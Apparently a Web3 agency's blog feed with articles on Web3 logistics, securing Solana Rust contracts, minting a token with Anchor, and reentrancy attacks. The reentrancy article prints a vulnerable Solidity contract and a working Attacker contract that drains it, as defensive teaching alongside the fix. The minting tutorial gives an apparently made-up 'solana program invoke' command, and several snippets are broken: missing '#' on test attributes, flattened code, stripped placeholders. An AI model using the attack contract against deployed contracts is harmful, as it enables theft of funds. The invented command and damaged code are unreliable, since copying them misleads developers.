This level of transparency is particularly valuable in industries like pharmaceuticals, where maintaining the integrity of sensitive goods (e.g., vaccines) is critical. By leveraging Web3, companies can ensure compliance with regulatory standards and provide irrefutable proof of adherence to quality controls.

3. Smart Contracts for Automation and Efficiency

Manual processes and paperwork are still prevalent in logistics, leading to inefficiencies and human error. Web3 introduces smart contracts, which automate many aspects of logistics operations. These programmable contracts execute actions automatically when certain conditions are met, streamlining workflows and reducing administrative overhead.

Consider a scenario where a container of goods is shipped internationally. A smart contract could be programmed to release payment to the carrier once the container reaches its destination port and passes customs inspection. The contract could also automatically update inventory management systems, notify downstream partners, and generate invoices, all without human intervention. This automation not only saves time but also minimizes the risk of errors and delays.

Moreover, smart contracts can facilitate dynamic pricing models based on real-time market conditions. For example, during peak shipping seasons, rates could adjust automatically based on demand, ensuring fair compensation for carriers while preventing price gouging.

4. Decentralized Autonomous Organizations (DAOs) for Collaboration

Logistics involves multiple stakeholders working together across different geographies and jurisdictions. Traditionally, coordination among these parties has been challenging due to conflicting interests and lack of alignment. Web3 introduces Decentralized Autonomous Organizations (DAOs), which allow participants to collaborate in a decentralized and democratic manner.

A DAO in logistics could consist of manufacturers, carriers, warehouses, and distributors who collectively govern the network using consensus-based decision-making. Members of the DAO would vote on key operational decisions, such as setting service-level agreements, allocating resources, or resolving disputes. Since DAOs operate on blockchain technology, all votes and decisions are transparent and tamper-proof, fostering accountability and fairness.

For instance, a global logistics DAO could pool resources to optimize routes, share capacity, and reduce costs. Smaller players in the industry, who might otherwise struggle to compete with larger corporations, could benefit from collective bargaining power and shared infrastructure.

5. Tokenization and Incentivization

Web3 enables the creation of digital tokens that represent value within a logistics ecosystem. These tokens can be used to incentivize good behavior, reward participation, or facilitate micropayments. For example, carriers who consistently deliver on time could earn reputation tokens that enhance their standing in the network. Customers could use these tokens to pay for services, creating a closed-loop economy.

Additionally, tokenization can unlock new business models, such as fractional ownership of assets. Instead of purchasing an entire fleet of trucks or ships, companies could invest in tokenized shares of vehicles and earn dividends based on usage. This democratizes access to capital and allows smaller players to participate in large-scale logistics projects.

6. Sustainability and Carbon Tracking

As environmental concerns grow, sustainability has become a top priority for the logistics industry. Web3 provides tools to track and reduce the carbon footprint of supply chains. By integrating IoT devices with blockchain, companies can monitor emissions at every stage of the journey—from factories to warehouses to last-mile delivery.

For example, sensors attached to vehicles could record fuel consumption and greenhouse gas emissions, which are then stored on the blockchain. Companies could use this data to identify inefficiencies, optimize routes, and implement greener practices. Furthermore, customers could choose eco-friendly shipping options and receive verifiable proof of their contribution to sustainability efforts.

Conclusion

The integration of Web3 into logistics represents a paradigm shift in how goods are moved around the world. By leveraging decentralization, blockchain, smart contracts, and DAOs, the industry can achieve greater transparency, efficiency, and trust. From automating processes with smart contracts to tracking products with NFTs, Web3 offers innovative solutions to age-old problems.

While the adoption of Web3 in logistics is still in its early stages, the potential benefits are undeniable. As more companies embrace these technologies, we can expect to see a future where logistics is faster, cheaper, and more sustainable. The road ahead may be complex, but the destination, a truly connected and decentralized logistics ecosystem, is well worth the journey.

Securing a Smart Contract Built with Rust for Solana

Sat, 22 Feb 2025 03:18:28 +0000

Smart contracts are the backbone of decentralized applications (dApps) on blockchain platforms like Solana. However, their security is paramount because vulnerabilities in smart contracts can lead to catastrophic financial losses. In this article, we’ll walk you through how to secure a smart contract built with Rust for Solana before minting a new token and deploying it. By following these best practices, you can minimize risks and ensure your project is robust.

Why Security Matters in Smart Contracts

Before diving into the technical details, let’s briefly discuss why securing your smart contract is crucial:

Immutable Code: Once deployed, smart contracts cannot be easily modified. Any vulnerabilities present at deployment time will persist unless you have a mechanism for upgrades.

High Stakes: Smart contracts often handle significant amounts of cryptocurrency or tokens. A single exploit can result in millions of dollars in losses.

Trustless Environment: Users interact with your smart contract without trusting you personally. They rely on the code being secure and bug-free.

Given these factors, securing your smart contract should be a top priority.

Step 1: Understand the Basics of Solana Smart Contracts

Solana smart contracts, also known as "programs," are typically written in Rust due to its performance and safety features. Before securing your contract, ensure you understand the following:

Anchor Framework: Anchor is a popular framework for building Solana programs. It simplifies many aspects of development, including account management and error handling.

Program Derived Addresses (PDAs): PDAs are used to create accounts that are controlled by your program. They play a critical role in ensuring security.

CPIs (Cross-Program Invocations): Your program may interact with other programs on Solana. Understanding how CPIs work is essential for securing your contract.

Step 2: Follow Best Practices for Writing Secure Rust Code

Rust is known for its memory safety and concurrency features, but writing secure code still requires discipline. Here are some best practices:

Use Safe Math Operations

Overflow and underflow are common vulnerabilities in smart contracts. Always use safe math libraries or built-in Rust functions to prevent these issues. For example, instead of using + or -, use methods like checked_add() and checked_sub():

let a = 100;
let b = 200;

// Safe addition
if let Some(result) = a.checked_add(b) {

// Proceed with the operation

} else {

// Handle overflow

}

Validate Inputs

Always validate inputs to your smart contract. Malicious users may try to pass invalid data to exploit your program. Use assertions and checks to ensure inputs meet your expectations:

assert!(amount > 0, "Amount must be greater than zero");

Avoid Reentrancy Attacks

Reentrancy attacks occur when a malicious contract calls back into your contract before the initial call completes. To prevent this, follow the "Checks-Effects-Interactions" pattern:

Checks: Validate all conditions first.

Effects: Update the state of your contract.

Interactions: Interact with external contracts or accounts.

Use PDAs Correctly

PDAs are a powerful feature in Solana, but they must be used correctly to avoid security risks. Ensure that:

PDAs are derived using a unique seed.

Only your program can sign for PDAs.

let (pda, bump_seed) = Pubkey::find_program_address(&[b"my_seed"], &program_id);

Limit Privileges

Minimize the privileges of your smart contract. Only allow necessary operations and restrict access to sensitive functions. For example, if only the admin should be able to mint new tokens, ensure that the mint function checks the caller’s authority:

if *authority.key != admin_pubkey {

return Err(ProgramError::InvalidAccountData);

}

Step 3: Test Thoroughly

Testing is a critical part of securing your smart contract. Here are some strategies:

Unit Tests

Write unit tests for individual functions to ensure they behave as expected. Use the #[test] attribute in Rust to define test cases:

[test]

fn test_safe_addition() {

let a = 100;
let b = 200;
assert_eq!(a.checked_add(b), Some(300));

}

Integration Tests

Integration tests simulate real-world scenarios by testing interactions between different parts of your program. Use the Anchor framework’s testing utilities to write integration tests:

[tokio::test]

async fn test_mint_token() {

let mut context = setup_test_environment().await;
let result = mint_token(&mut context).await;
assert!(result.is_ok());

}

Fuzz Testing

Fuzz testing involves feeding random inputs into your program to uncover edge cases. Tools like cargo-fuzz can help you perform fuzz testing on your Rust code.

Step 4: Conduct a Security Audit

Even with thorough testing, it’s essential to have your smart contract audited by a third-party security firm. A professional audit can uncover vulnerabilities that you might have missed. During the audit:

Provide clear documentation of your code.
Explain the intended behavior of each function.
Address any issues raised by the auditors.

Step 5: Deploy Safely

Once your smart contract has been tested and audited, you’re ready to deploy. However, take the following precautions:

Deploy on Testnet First

Before deploying on the mainnet, test your contract on Solana’s testnet. This allows you to identify any issues in a low-stakes environment.

Use a Timelock for Upgrades

If your contract supports upgrades, consider using a timelock mechanism. This ensures that any changes to the contract take effect only after a specified delay, giving users time to react.

Monitor After Deployment

After deploying your contract, monitor its activity closely. Use tools like Solana Explorer or custom dashboards to track transactions and detect anomalies.

Final Thoughts

Securing a smart contract built with Rust for Solana is a multi-step process that involves careful coding, rigorous testing, and professional auditing. By following the best practices outlined in this article, you can significantly reduce the risk of vulnerabilities and ensure that your token minting and deployment go smoothly.

Remember, security is an ongoing process. Even after deployment, stay vigilant and keep your contract updated to address any emerging threats. With the right approach, you can build a secure and successful project on Solana.

Building a Smart Contract in Rust for Solana: Minting and Deploying a New Token

Thu, 20 Feb 2025 08:49:07 +0000

Minting and Deploying a New Token

Introduction

Solana is one of the fastest-growing blockchain platforms, renowned for its high throughput and low transaction fees. One of the most exciting features of Solana is its ability to support smart contracts written in Rust, a systems programming language that emphasizes safety, concurrency, and performance. In this article, we will walk you through the process of creating a smart contract in Rust for Solana, minting a new token, and deploying it on the Solana network.

By the end of this guide, you'll have a fully functional token minted and deployed on Solana's testnet. Let’s get started!

Prerequisites

Before diving into the development process, ensure you have the following tools installed:

Rust: Install Rust by following the instructions on rust-lang.org.

Solana CLI: Install the Solana Command-Line Interface (CLI) by following the instructions on solana.com.

Anchor Framework: Anchor is a framework for building Solana programs in Rust. Install it using cargo:

cargo install --git https://github.com/project-serum/anchor anchor-cli --locked

Node.js and Yarn: These are required for frontend integration if needed. You can download them from nodejs.org and yarnpkg.com.

Step 1: Setting Up Your Development Environment

Create a New Anchor Project

To create a new project, use the anchor CLI:

anchor init my_token_program
cd my_token_program

This command initializes a new Anchor project with the necessary structure and dependencies.

Update the Cargo.toml File

Navigate to the programs/my_token_program/Cargo.toml file and ensure the dependencies include the Solana Program Library (SPL). The SPL provides utilities for token creation and management.

[dependencies]
anchor-lang = "0.28.0"
anchor-spl = "0.28.0"

Step 2: Writing the Smart Contract

The smart contract will define the logic for minting a new token. We'll use the SPL Token program, which is a standard for creating fungible tokens on Solana.

Define the Instruction

In the programs/my_token_program/src/lib.rs file, define an instruction to mint a new token:

use anchor_lang::prelude::*;
use anchor_spl::token::{self, Mint, Token, TokenAccount};

declare_id!("Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS");

#[program]
pub mod my_token_program {
    use super::*;

    pub fn mint_token(ctx: Context<MintToken>, amount: u64) -> Result<()> {
        msg!("Minting {} tokens", amount);

        // Mint tokens to the associated token account
        token::mint_to(
            CpiContext::new(
                ctx.accounts.token_program.to_account_info(),
                token::MintTo {
                    mint: ctx.accounts.mint.to_account_info(),
                    to: ctx.accounts.destination.to_account_info(),
                    authority: ctx.accounts.authority.to_account_info(),
                },
            ),
            amount,
        )?;

        Ok(())
    }
}

#[derive(Accounts)]
pub struct MintToken<'info> {
    #[account(mut)]
    pub mint: Account<'info, Mint>,
    #[account(mut)]
    pub destination: Account<'info, TokenAccount>,
    /// CHECK: This is the authority of the mint
    pub authority: AccountInfo<'info>,
    pub token_program: Program<'info, Token>,
}

Explanation of the Code

Instruction Definition: The mint_token function defines the logic for minting tokens. It takes two parameters: the context (ctx) and the amount of tokens to mint.

CPI Call: The token::mint_to function is a Cross-Program Invocation (CPI) call to the SPL Token program, which handles the actual minting of tokens.

Accounts: The MintToken struct specifies the accounts required for the instruction:

mint: The token mint account.

destination: The account where the tokens will be minted.

authority: The authority account that has permission to mint tokens.

token_program: The SPL Token program.

Step 3: Compiling the Program

Compile the program using the following command:

anchor build

This command compiles the Rust code into a binary format that can be deployed on the Solana network.

Step 4: Deploying the Program

Deploy the compiled program to the Solana testnet:

anchor deploy

This command uploads the program to the Solana testnet and returns the program ID, which is essential for interacting with the program.

Step 5: Minting a New Token

To mint a new token, follow these steps:

Create a Mint Account

Use the Solana CLI to create a mint account:

spl-token create-token

This command generates a new mint account and outputs the mint address.

Create an Associated Token Account

Next, create an associated token account for the mint:

spl-token create-account <MINT_ADDRESS>

Replace with the address of the mint account created in the previous step.

Mint Tokens Using the Smart Contract

Finally, use the anchor CLI or a custom script to invoke the mint_token instruction. Here's an example using the Solana CLI:

solana program invoke <PROGRAM_ID> \
--accounts mint=<MINT_ADDRESS> \
destination=<TOKEN_ACCOUNT_ADDRESS> \
authority=<AUTHORITY_KEYPAIR> \
token-program=TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA \
--args amount=1000000

Replace the placeholders with the appropriate values:

: The ID of your deployed program.

: The address of the mint account.

: The address of the associated token account.

: The keypair of the mint authority.

Conclusion

In this article, we walked through the process of creating a smart contract in Rust for Solana, minting a new token, and deploying it on the Solana testnet. By leveraging the power of Rust and the Anchor framework, developers can build efficient and secure smart contracts for decentralized applications.

Feel free to experiment with additional features, such as transferring tokens, burning tokens, or implementing custom token logic. Happy coding!

Smart Contract Bug: Reentrancy Attacks and How to Fix Them

Wed, 19 Feb 2025 22:00:45 +0000

Reentrancy Attack

In the world of Web3 and decentralized applications (dApps), smart contracts are the backbone of blockchain functionality. However, they are not immune to vulnerabilities. One of the most notorious and common bugs in smart contracts is the reentrancy attack. This article will explain what a reentrancy attack is, how it can be exploited, and provide a solution to prevent it. Finally, we’ll introduce how Web3Dev, a leading Web3 development agency, can help you build secure and robust decentralized systems.

What is a Reentrancy Attack?

A reentrancy attack occurs when a malicious contract exploits a vulnerability in a target contract to repeatedly call a function before the initial function execution is complete. This is often done during a withdrawal or transfer of funds, allowing the attacker to drain the contract’s balance.

The most famous example of this vulnerability was the DAO hack in 2016, where an attacker drained over $50 million worth of Ether by exploiting a reentrancy bug.

How Does a Reentrancy Attack Work

Here’s a simplified example of a vulnerable smart contract:

pragma solidity ^0.8.0;

contract Vulnerable {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= _amount;
    }
}

In this contract, the withdraw function sends Ether to the caller before updating their balance. An attacker can exploit this by deploying a malicious contract that recursively calls the withdraw function before the balance is updated. Here’s how:

contract Attacker {
    Vulnerable public vulnerable;

    constructor(address _vulnerable) {
        vulnerable = Vulnerable(_vulnerable);
    }

    function attack() public payable {
        vulnerable.deposit{value: msg.value}();
        vulnerable.withdraw(msg.value);
    }

    receive() external payable {
        if (address(vulnerable).balance >= msg.value) {
            vulnerable.withdraw(msg.value);
        }
    }
}

The receive function in the attacker’s contract allows it to repeatedly call the withdraw function, draining the vulnerable contract’s funds.

The Fix: Use Checks-Effects-Interactions Pattern

To prevent reentrancy attacks, developers should follow the Checks-Effects-Interactions (CEI) pattern. This means:

Checks: Validate all conditions before executing logic.
Effects: Update the contract’s state (e.g., balances).
Interactions: Interact with external contracts or addresses.

Here’s the fixed version of the withdraw function:

function withdraw(uint256 _amount) public {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    balances[msg.sender] -= _amount; // Update balance first
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
}

By updating the balance before sending Ether, the contract ensures that even if the attacker recursively calls the function, their balance will already be zero, preventing further withdrawals.

At Web3Dev, we specialize in building secure, scalable, and innovative Web3 solutions. Our team of experienced blockchain developers and security experts can help you avoid common pitfalls that can be very costly.

Additional Security Measures

Use Reentrancy Guards: OpenZeppelin’s ReentrancyGuard is a widely-used library that provides a modifier to prevent reentrancy. import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Secure is ReentrancyGuard { function withdraw(uint256 _amount) public nonReentrant { // Safe withdrawal logic } }
Limit External Calls: Minimize interactions with external contracts or addresses, especially when handling funds.
Audit Your Code: Regularly audit your smart contracts for vulnerabilities using tools like Slither, MythX, or professional auditing services.

How Web3Dev Can Help

At Web3Dev, we specialize in building secure, scalable, and innovative Web3 solutions. Our team of experienced blockchain developers and security experts can help you:

Develop Secure Smart Contracts: We follow best practices and implement robust security measures to protect your dApps from vulnerabilities like reentrancy attacks.
Conduct Smart Contract Audits: Our thorough auditing process identifies and fixes potential vulnerabilities before deployment.
Build Custom dApps: From DeFi platforms to NFT marketplaces, we create tailored solutions to meet your business needs.
Provide Ongoing Support: We offer maintenance and support services to ensure your dApps remain secure and up-to-date.

Don’t let vulnerabilities compromise your Web3 project. Partner with Web3Dev to build with confidence and security.